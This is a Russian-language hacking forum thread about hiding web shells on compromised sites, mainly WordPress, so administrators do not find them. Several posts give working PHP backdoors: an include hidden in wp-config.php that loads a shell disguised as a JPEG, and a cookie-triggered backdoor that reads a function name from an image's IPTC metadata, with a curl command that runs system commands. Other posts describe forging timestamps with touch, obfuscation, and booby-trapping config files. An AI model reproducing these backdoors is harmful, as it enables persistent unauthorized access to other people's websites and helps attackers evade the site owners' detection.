Маскируем Shell || Прячемся от админа

Discussion in 'Уязвимости' started by Filipp, 28 Jul 2015.

  1. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Пару недель назад решил взять себя в руки, и начать учить PHP, а то паскаль не в счёт. Есть у меня один сайт, в котором я нехило накосячил по неопытности, в итоге админы посносили все шеллы, и начали регулярно проверять на наличие блох.
    Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего. Всё в конечном итоге сводится к тому, что-бы добавить что-то в .htaccess, а мои админы это палят. Еще конечно был вариант с Cron'ом на линуксе, но это ужасно неудобно, ведь однажды админы разозлятся и пофиксят валнераблу.
    И тут мне пришла идея, вроде всё просто, но это работает:​
    Code:
    $data = $_GET['youpass'];
    if ($data == "youpass")
        include "/tmp/6.jpg";
    Для начала, нам нужно найти какой-нибудь PHP'шник, который не будет давать никакого результат на экран. В моем случае сайт стоит на WP, и я выбрал wp-config.php. В PHP есть очень хорошая команда include, которой всё равно на расширение. Она открывает и выполняет код, т.е можно запихнуть шелл в любую папку доступную для записи с любым расширением.
    Минусы:
    • От админов, которые умеют читать логи ничего не спасёт.
    Прошло 3 недели. а шелл никто не фиксит. Способ работает.Вообщем-то всё. Надеюсь мои занятия по PHP не пройдут даром)
     
    #1 Filipp, 28 Jul 2015
    Last edited: 23 Mar 2016
    Mister_Bert0ni and hopekillah like this.
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    это палит access_log. плюс, если админы не проверяют все файлы на сервере - это горе админы. wp-config не должен вообще быть в access логе, а если есть - значит что-то не так. способ хорош только для тех, кто только что познакомился с интернетом. без обид
     
    _________________________
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Вы представляете, что есле весомые способы были в паблике, то они перестале бы быть таковыми

    P.S: Метод с легкостью палится
     
    _________________________
  4. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Любой шелл палят логи, если их нельзя удалить)) Бэкдоры оставляют именно таким способом. Wp-config был приведен как пример, обычно есть еще масса других PHP'шников. Вот как вы поймете что на сайте шелл?) Описанный мной метод занимает 1-2КБ веса, что почти незаметно) + код можно закриптить. Далее touch'ишь по дате, и всё. Единственный способ это сравнения веса файла, и то, файлы обновляются, вдруг эту модификацию внесло какое-нить дополнение или плагин? Только если очень грамотный админ спалит. Вот если бы вы были админом античата, вы бы такое спалили? Допустим логов нет, тут всё понятно, те кто дружат с логами это спалят.
     
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах
    $_GET, это два, по хешь суммам оригинальной CMS и про трояненой!
     
    _________________________
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    а файл, который вы инклудите, это что? он тоже ничего не весит?
     
    _________________________
  7. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    с таким же успехом залейте htaccess и пусть jpg исполняется как php
     
    _________________________
  8. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.
     
  9. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа. А по поводу файла который инклудится, обратите внимания на его путь. Вы бы додумались искать шелл в темповской папке, ил любой другой с правами на запись?
     
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!

    Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл)))))
     
    _________________________
    yarbabin likes this.
  11. -=Cerberus=-

    -=Cerberus=- κρυπτός γράφω

    Joined:
    29 Apr 2012
    Messages:
    1,321
    Likes Received:
    930
    Reputations:
    391
    О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!
     
    RWD likes this.
  12. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Так я ничего не создаю, я редактирую уже существующий файл. С htaccess'ом тоже метод хорош, не спорю, я просто предложил новый способ, менее паливный.
     
  13. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Угу, я так и делал раньше. Пытаюсь толкать рекламу по ночам на сайт, постоянно что-то дописываю и редактирую.. Шелл нужен через каждый час) Легче раз сделать чем по 100 раз заливаться. Ну а так да, вы абсолютно правы.
     
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    _________________________
    hopekillah, t0ma5 and BigBear like this.
  15. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    способ на любителя
    находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
    Code:
    <?
    define("IPTC_OBJECT_NAME", "005");
    define("IPTC_EDIT_STATUS", "007");
    define("IPTC_PRIORITY", "010");
    define("IPTC_CATEGORY", "015");
    define("IPTC_SUPPLEMENTAL_CATEGORY", "020");
    define("IPTC_FIXTURE_IDENTIFIER", "022");
    define("IPTC_KEYWORDS", "025");
    define("IPTC_RELEASE_DATE", "030");
    define("IPTC_RELEASE_TIME", "035");
    define("IPTC_SPECIAL_INSTRUCTIONS", "040");
    define("IPTC_REFERENCE_SERVICE", "045");
    define("IPTC_REFERENCE_DATE", "047");
    define("IPTC_REFERENCE_NUMBER", "050");
    define("IPTC_CREATED_DATE", "055");
    define("IPTC_CREATED_TIME", "060");
    define("IPTC_ORIGINATING_PROGRAM", "065");
    define("IPTC_PROGRAM_VERSION", "070");
    define("IPTC_OBJECT_CYCLE", "075");
    define("IPTC_BYLINE", "080");
    define("IPTC_BYLINE_TITLE", "085");
    define("IPTC_CITY", "090");
    define("IPTC_PROVINCE_STATE", "095");
    define("IPTC_COUNTRY_CODE", "100");
    define("IPTC_COUNTRY", "101");
    define("IPTC_ORIGINAL_TRANSMISSION_REFERENCE", "103");
    define("IPTC_HEADLINE", "105");
    define("IPTC_CREDIT", "110");
    define("IPTC_SOURCE", "115");
    define("IPTC_COPYRIGHT_STRING", "116");
    define("IPTC_CAPTION", "120");
    define("IPTC_LOCAL_CAPTION", "121");
    
    class IPTC
    {
        var $meta = [];
        var $file = null;
    
        function __construct($filename)
        {
            $info = null;
    
            $size = getimagesize($filename, $info);
    
            if(isset($info["APP13"])) $this->meta = iptcparse($info["APP13"]);
    
            $this->file = $filename;
        }
    
        function getValue($tag)
        {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
        }
    
        function setValue($tag, $data)
        {
            $this->meta["2#$tag"] = [$data];
    
            $this->write();
        }
    
        private function write()
        {
            $mode = 0;
    
            $content = iptcembed($this->binary(), $this->file, $mode);  
    
            $filename = $this->file;
    
            if(file_exists($this->file)) unlink($this->file);
    
            $fp = fopen($this->file, "w");
            fwrite($fp, $content);
            fclose($fp);
        }        
    
        private function binary()
        {
            $data = "";
    
            foreach(array_keys($this->meta) as $key)
            {
                $tag = str_replace("2#", "", $key);
                $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
            }      
    
            return $data;
        }
    
        function iptc_maketag($rec, $data, $value)
        {
            $length = strlen($value);
            $retval = chr(0x1C) . chr($rec) . chr($data);
    
            if($length < 0x8000)
            {
                $retval .= chr($length >> 8) .  chr($length & 0xFF);
            }
            else
            {
                $retval .= chr(0x80) . 
                           chr(0x04) . 
                           chr(($length >> 24) & 0xFF) . 
                           chr(($length >> 16) & 0xFF) . 
                           chr(($length >> 8) & 0xFF) . 
                           chr($length & 0xFF);
            }
    
            return $retval . $value;            
        }  
    
        function dump()
        {
            echo "<pre>";
            print_r($this->meta);
            echo "</pre>";
        }
    
        #requires GD library installed
        function removeAllTags()
        {
            $this->meta = [];
            $img = imagecreatefromstring(implode(file($this->file)));
            if(file_exists($this->file)) unlink($this->file);
            imagejpeg($img, $this->file, 100);
        }
    }
    
    $file = "test.jpg";
    $time = filemtime($file);
    
    $objIPTC = new IPTC($file);
    
    //set title
    $objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
    touch($file,$time);
    //set description
    echo $objIPTC->getValue(IPTC_HEADLINE);
    
    ?>
    
    после выполнения скрипт должен вывести "_COOKIE"

    затем в нужный php файл, в нужном месте добавляем следующий код

    Code:
    $file = "test.jpg";
    $size = getimagesize($file, $info);
    if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
    if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);
    
    суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
    пример работы
    Code:
    $ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
    /usr/bin/bash
    
    +ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
    -ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект
     
    _________________________
  16. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    А я и забыл про этот пост, так давно это дело писал. Теперь вижу со стороны свои ошибки.. Да все можно сделать намного проще. Например, не проверять GET параметр, а куку. Тогда в логах вообще будет что то типа POST index.php
     
  17. Hummer

    Hummer Member

    Joined:
    31 Jul 2012
    Messages:
    43
    Likes Received:
    23
    Reputations:
    5
    я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)
     
    #17 Hummer, 2 Apr 2016
    Last edited: 2 Apr 2016
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "нихуя вообще работать не будет =)))))"

    P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...
     
    _________________________
  19. Hummer

    Hummer Member

    Joined:
    31 Jul 2012
    Messages:
    43
    Likes Received:
    23
    Reputations:
    5
    Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?
     
  20. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Все неопытные и опытные админы первым делом смотрят в индекс и это факт. Конечно можно воспользоваться некоторыми хитростями и помещать их именно в индекс, но это подходит только когда нужно закрепиться на сайте, что бы админ не догадывался что вы есть.